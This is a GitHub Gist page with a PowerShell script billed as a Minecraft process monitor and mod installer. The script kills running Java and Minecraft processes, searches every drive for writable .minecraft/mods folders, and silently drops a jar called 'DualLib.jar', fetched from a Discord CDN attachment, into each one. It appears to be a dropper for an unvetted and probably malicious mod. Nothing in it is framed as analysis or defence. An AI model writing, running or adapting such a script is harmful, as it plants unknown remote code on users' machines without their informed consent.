Created
May 2, 2025 22:37
-
-
Save Wenenu/a6197d24934a24139376b88c0029065b to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Minecraft Process Monitor and Mod Installer | |
# This script does two things: | |
# 1. Finds and closes any Java/Minecraft processes using more than 300MB of RAM | |
# 2. Finds all .minecraft/mods folders and downloads a file into them | |
# Part 1: Find and close high memory Java/Minecraft processes | |
Write-Host "Checking for high memory Minecraft-related processes..." | |
$highMemProcesses = Get-Process | Where-Object { | |
# Process name criteria - looking for Java and Minecraft related processes | |
( | |
$_.Name -like "*java*" -or | |
$_.Name -like "*minecraft*" -or | |
$_.Name -eq "javaw" -or | |
$_.ProcessName -eq "javaw" -or | |
$_.Description -like "*Java*" -or | |
$_.Description -like "*OpenJDK*" -or | |
$_.Description -like "*Platform Library*" -or | |
$_.MainWindowTitle -like "*Minecraft*" | |
) -and | |
# Memory usage criteria | |
($_.WorkingSet64 / 1MB -gt 300) | |
} | |
if ($highMemProcesses) { | |
Write-Host "Found high memory processes to close:" | |
$highMemProcesses | Format-Table Id, Name, Description, @{Name="Memory (MB)"; Expression={[math]::Round($_.WorkingSet64 / 1MB, 2)}} | |
foreach ($process in $highMemProcesses) { | |
Write-Host "Attempting to close process: $($process.Name) (ID: $($process.Id))" | |
try { | |
# Try to close the process gracefully first | |
$process.CloseMainWindow() | Out-Null | |
# Give it a moment to close | |
Start-Sleep -Seconds 2 | |
# If it's still running, try to stop it normally | |
if (!$process.HasExited) { | |
$process.Kill() | |
} | |
Write-Host "Successfully closed process." | |
} catch { | |
Write-Host "Could not close process (may need admin rights): $_" | |
Write-Host "You may want to close this process manually." | |
} | |
} | |
} else { | |
Write-Host "No high memory Minecraft-related processes found." | |
} | |
# Part 2: Find .minecraft/mods folders and download a file to them | |
Write-Host "`nSearching for .minecraft directories with mods folders..." | |
# Create an array to store discovered mod folders | |
$modsLocations = @() | |
# First check the most common location in AppData (which user should have access to) | |
$appDataMinecraft = Join-Path $env:APPDATA ".minecraft" | |
$appDataMods = Join-Path $appDataMinecraft "mods" | |
if (Test-Path $appDataMinecraft -PathType Container) { | |
Write-Host "Found .minecraft folder in AppData: $appDataMinecraft" | |
if (Test-Path $appDataMods -PathType Container) { | |
$modsLocations += $appDataMods | |
Write-Host "Found mods folder: $appDataMods" | |
} else { | |
Write-Host "No mods folder found in AppData .minecraft directory." | |
} | |
} | |
# Get user-accessible drives | |
$drives = Get-PSDrive -PSProvider FileSystem | Select-Object -ExpandProperty Root | |
# URL to download the mod from (REPLACE THIS WITH YOUR ACTUAL DOWNLOAD URL) | |
$modUrl = "https://cdn.discordapp.com/attachments/918552054719463484/1367974678978756689/DualLib.jar?ex=68168933&is=681537b3&hm=5901b01ed6003f04d4332e1b060c2f345d3947fcb17169fec802bc77a7692c2a&" | |
$modFileName = "DualLib.jar" | |
# Search for additional .minecraft directories that the user can access | |
foreach ($drive in $drives) { | |
Write-Host "Scanning drive $drive for accessible .minecraft folders..." | |
try { | |
# Try to find accessible .minecraft directories, but skip on errors | |
# Limiting search depth to improve performance and reduce permission issues | |
$searchParams = @{ | |
Path = $drive | |
Directory = $true | |
Filter = ".minecraft" | |
ErrorAction = "SilentlyContinue" | |
Recurse = $true | |
Depth = 5 # Limit search depth to reduce permission errors | |
} | |
# Check if PowerShell version supports Depth parameter (PowerShell 5.0+) | |
if ($PSVersionTable.PSVersion.Major -lt 5) { | |
$searchParams.Remove('Depth') | |
} | |
$minecraftDirs = Get-ChildItem @searchParams | |
foreach ($dir in $minecraftDirs) { | |
# Skip if we already added this one | |
if ($dir.FullName -eq $appDataMinecraft) { continue } | |
$modsFolder = Join-Path $dir.FullName "mods" | |
if (Test-Path $modsFolder -PathType Container) { | |
# Check if we can write to this folder | |
$testFile = Join-Path $modsFolder "permission_test.tmp" | |
try { | |
[io.file]::OpenWrite($testFile).Close() | |
Remove-Item -Path $testFile -ErrorAction SilentlyContinue | |
# If we get here, we have write access | |
$modsLocations += $modsFolder | |
Write-Host "Found accessible mods folder: $modsFolder" | |
} catch { | |
Write-Host "Found mods folder but cannot write to it (skipping): $modsFolder" | |
} | |
} | |
} | |
} catch { | |
Write-Host "Error scanning drive $drive`: $_" | |
} | |
} | |
# Download and place the mod file in each mods folder | |
if ($modsLocations.Count -gt 0) { | |
Write-Host "`nFound $($modsLocations.Count) accessible mods folders. Downloading mod file..." | |
try { | |
# Create a web client for downloading | |
$webClient = New-Object System.Net.WebClient | |
foreach ($modsFolder in $modsLocations) { | |
$destination = Join-Path $modsFolder $modFileName | |
Write-Host "Downloading mod to: $destination" | |
try { | |
$webClient.DownloadFile($modUrl, $destination) | |
Write-Host "Successfully downloaded mod to: $destination" | |
} catch { | |
Write-Host "Failed to download mod to $destination`: $_" | |
} | |
} | |
} catch { | |
Write-Host "Error setting up download: $_" | |
} finally { | |
if ($webClient) { | |
$webClient.Dispose() | |
} | |
} | |
} else { | |
Write-Host "No accessible .minecraft directories with mods folders found on your computer." | |
} | |
Write-Host "`nScript execution completed." |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment